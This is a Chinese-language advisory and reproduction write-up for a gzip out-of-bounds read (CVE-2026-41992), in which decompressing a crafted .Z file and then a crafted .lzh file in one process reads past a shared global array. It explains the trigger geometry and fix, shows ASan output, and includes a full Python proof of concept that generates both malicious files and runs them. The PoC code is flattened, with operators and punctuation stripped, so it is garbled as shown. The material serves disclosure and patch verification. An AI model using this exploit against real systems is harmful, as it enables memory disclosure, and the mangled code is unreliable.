組越界讀)
CVE-2026-41992 — gzip LZH 解壓共享全局數(shù)組越界讀漏洞詳情CVE: CVE-2026-41992 (CERT.PL 報告, 上游 commit 63dbf6b3 “don’t mishandle .lzh after .Z”)類型: 越界讀 (CWE-125) — 未初始化/殘留共享全局狀態(tài); NVD: “reads past the end of the allocated global buffer”受影響版本: gzip ≤ 1.14 (bug 自始存在)本機版本: 1.12-1ubuntu3.1修復(fù)版本: 1.12-1ubuntu3.2 (gzip 1.13,debian/patches/CVE-2026-41992.patch)觸發(fā)原理gzip 單進程內(nèi)跨文件共享全局數(shù)組prev(65536 項):deflate LZ77 哈希鏈 / unlzw LZW 前綴表 (tab_prefix prev,head prevWSIZE)unlzh.c 將其#define left prev / right head作 Huffman 樹同一gzip -dc調(diào)用先解壓惡意.Z(LZW), 再解壓惡意.lzh(LZH) 時:.Z解碼把prev[0..65535]填滿 LZW 前綴表 — 攻擊者完全可控.lzh的read_c_len()走 n0 分支:c_table[i]511;decode_c()取j511NC(511)后沿left/right走樹精心構(gòu)造.Z使prev[33279]32776→ 首步right[511]32776→次步right[32776]prev[3276832776]prev[65544]→越出 65536 項數(shù)組 8 項 (16 字節(jié))復(fù)現(xiàn) (實測)python3 poc.py# 生成 evil.Z evil.lzh 并跑全部驗證# 對照1: gzip -dc evil.Z → RC0 (LZW 編碼器合法)# 對照2: gzip -dc evil.lzh → RC0 (無 .Z 污染, walk 立即終止)# 觸發(fā): gzip -dc evil.Z evil.lzh → 系統(tǒng)版靜默越界讀# ASan: gzip-1.12-asan -dc evil.Z evil.lzh# → ERROR: AddressSanitizer: global-buffer-overflow# READ of size 2 ... 16 bytes after global variable prev (size 131072)# #0 decode_c unlzh.c:294# 修復(fù)版 (victim/build_fixed_asan.sh, memzero left/right): 無 ASan 報錯證據(jù): evidence.log; ASan 構(gòu)建: victim/攻擊幾何 (PoC 核心).Z編碼器復(fù)刻 unlzw.c 狀態(tài)機: step j 起始free_ent254j, 寬度切換在j258/770/1794/3842/7938/16130/32514, resetbuf 歸零 → baserel 位模型碼流:c_10, c_2..c_5121..511, c_513..511,c_{33024}32776→ 條目33279 前綴 32776 →head[511]prev[33279]32776.lzh72 比特: blocksize1 | pt n0,c0 | cl n0,c511 | pp n0,c15 |dir1111 | 塊結(jié)束標記 (16 位 0)修復(fù)建議升級至 1.12-1ubuntu3.2; 上游在 n0 分支memzero(left/right)使殘留表不復(fù)用(上游注釋: 保守修復(fù), 未完全分析所有路徑)。PoC#!/usr/bin/env python3# CVE-2026-41992 PoC: gzip LZH 解壓共享全局數(shù)組越界讀 — 純標準庫# # 原理 (NVD gzip 上游 commit 63dbf6b3 dont mishandle .lzh after .Z):# gzip 單進程內(nèi)共享全局數(shù)組 prev (65536 項; deflate LZ77 哈希鏈 / unlzw LZW# 前綴表 tab_prefixprev; unlzh.c 將其 #define 為 left/right 作 Huffman 樹),# 文件之間不重置。head[511]prev[WSIZE511]prev[33279]。# 1) 惡意 .Z (LZW): 構(gòu)造代碼流使條目 33279 的 prefix32776 →# prev[33279]32776 (head[511]prev[33279])# 2) 惡意 .lzh: read_c_len() n0 分支 c_table[i]511; decode_c() 取# j511NC 后按 left/right 走樹: 首步 right[511]32776,# 下一步 right[32776]prev[3276832776]prev[65544] → 越出 65536 項# 全局數(shù)組 8 項 (16 字節(jié)) → 越界讀 (NVD: reads past the end of the# allocated global buffer)# ASan 構(gòu)建: 立即 global-buffer-overflow 中止; 系統(tǒng) gzip (無插樁): 靜默越界讀。# 修復(fù): 1.12-1ubuntu3.2 在 n0 分支 memzero(left/right) → walk 立即以 j0 終止。# importsubprocess, sys, os WORK/home/jay/.cve-work/CVE-2026-41992os.makedirs(WORK,exist_okTrue)os.chdir(WORK)print( 環(huán)境 )print(subprocess.run([gzip,--version],stdoutsubprocess.PIPE,stderrsubprocess.PIPE).stdout.decode(utf-8,replace).splitlines()[0])# ---------- 1. 構(gòu)造惡意 .Z (LZW 壓縮流, 無 block mode, maxbits16) ----------# 解碼器 (unlzw.c): free_ent 初始 256; step j 起始 free_ent 254j;# 寬度切換: j258→10位, 770→11, 1794→12, 3842→13, 7938→14, 16130→15, 32514→16;# 條目 E 在 step jE-254 創(chuàng)建, prefix c_{j-1}; resetbuf 歸零 posbits →# base(移出位)rel(緩沖內(nèi)位) 模型N33040codes[0] list(range(1,512))[511]*(N -512)assert len(codes)N codes[33024-1]32776# c_{33024} → entry 33279 prefix32776 → head[511]prev[33279]32776# walk 第2步: right[32776]prev[3276832776]prev[65544] 越界 8 項assert codes[33024-1]25433024# LZW 有效性: code free_entbits[]base0rel0free_ent, n_bits, maxcode, maxmaxcode255,9,511,116def emit(code, width): global relforiinrange(width): bits.append((codei)1)relwidth for j in range(1,N1):if free_entmaxcode:nbn_bits*8rel2(rel-1)(nb-(rel-1nb)%nb)bits[0]*(rel2-rel)relrel2 orel3baseo*8rel-o*8n_bits1maxcodemaxmaxcode if n_bits16else(1n_bits)-1emit(codes[j-1],n_bits)free_ent1def pack_lsb(bits):outbytearray()for i in range(0,len(bits)-7,8):b0for k in range(8):b|bits[ik]k out.append(b)remlen(bits)%8if rem:b0for k in range(rem):b|bits[len(bits)-remk]k out.append(b)return bytes(out)evil_zbytes([0x1F,0x9D,0x10])pack_lsb(bits)with open(evil.Z,wb)as f:f.write(evil_z)print(f[] evil.Z 生成:{len(evil_z)} 字節(jié)({N} 個 LZW 碼,c_{{33024}}32776))#----------2.構(gòu)造惡意 .lzh(SCO LZH,magic0x1F0xA0)----------# 比特流(MSB-first):blocksize1|pt_len n0,c0|c_len n0,c511|# pp n0,c15|walk 方向1111|塊結(jié)束標記 blocksize0(16位0→ decode_c 返 NC)payload[0]*15[1] payload[0]*5[0]*5payload[0]*9[1]*9payload[0]*4[1]*4payload[1]*24# walk 方向位冗余(窗口52..67全1→ 右支)payload[0]*16# 塊結(jié)束標記(第2塊 blocksize0→ decode_c 返 NC)assert len(payload)92def pack_msb(bits):outbytearray()acc,cnt0,0for b in bits:acc(acc1)|b cnt1if cnt8:out.append(acc);acc0;cnt0if cnt:out.append(acc(8-cnt))returnbytes(out)evil_lzhbytes([0x1F, 0xA0]) pack_msb(payload)with open(evil.lzh,wb)as f: f.write(evil_lzh)print(f[] evil.lzh 生成: {len(evil_lzh)} 字節(jié) (72 比特觸發(fā)流))# ---------- 3. 實跑驗證 ----------print(\n 對照1: 僅解壓 evil.Z (驗證 .Z 編碼器合法, 應(yīng)快速退出 0) )r1subprocess.run([gzip,-dc,evil.Z],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout20)print(f RC{r1.returncode} 輸出 {len(r1.stdout)} 字節(jié))print(\n 對照2: 僅解壓 evil.lzh (無 .Z 污染, 應(yīng)快速退出 0) )r2subprocess.run([gzip,-dc,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout20)print(f RC{r2.returncode} 輸出 {len(r2.stdout)} 字節(jié))print(\n 觸發(fā): gzip -dc evil.Z evil.lzh (同一進程先 .Z 后 .lzh) )r3subprocess.run([gzip,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout15)print(f 系統(tǒng)版 RC{r3.returncode} (無插樁 → 越界讀靜默發(fā)生))print(\n ASan 版 (越界讀插樁): 漏洞版 vs 修復(fù)版 )asan_binWORK /gzip-1.12-asan/gzipfixed_binWORK /gzip-1.12-asan-fixed/gzipifos.path.exists(asan_bin): r4subprocess.run([asan_bin,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout60)errr4.stderr.decode(utf-8,replace)print(f 漏洞版 ASan RC{r4.returncode})forlinerr.splitlines():ifglobal-buffer-overflowinl orREAD of sizeinl orSUMMARYinl\orlocatedinl: print( l.strip())ifos.path.exists(fixed_bin): r5subprocess.run([fixed_bin,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout60)err5r5.stderr.decode(utf-8,replace)asan_errany(AddressSanitizerinlforlinerr5.splitlines())print(f 修復(fù)版 ASan RC{r5.returncode} ASan報錯{asan_err} f(修復(fù) n0 分支清空 left/right → walk 立即以 j0 終止, 無越界讀))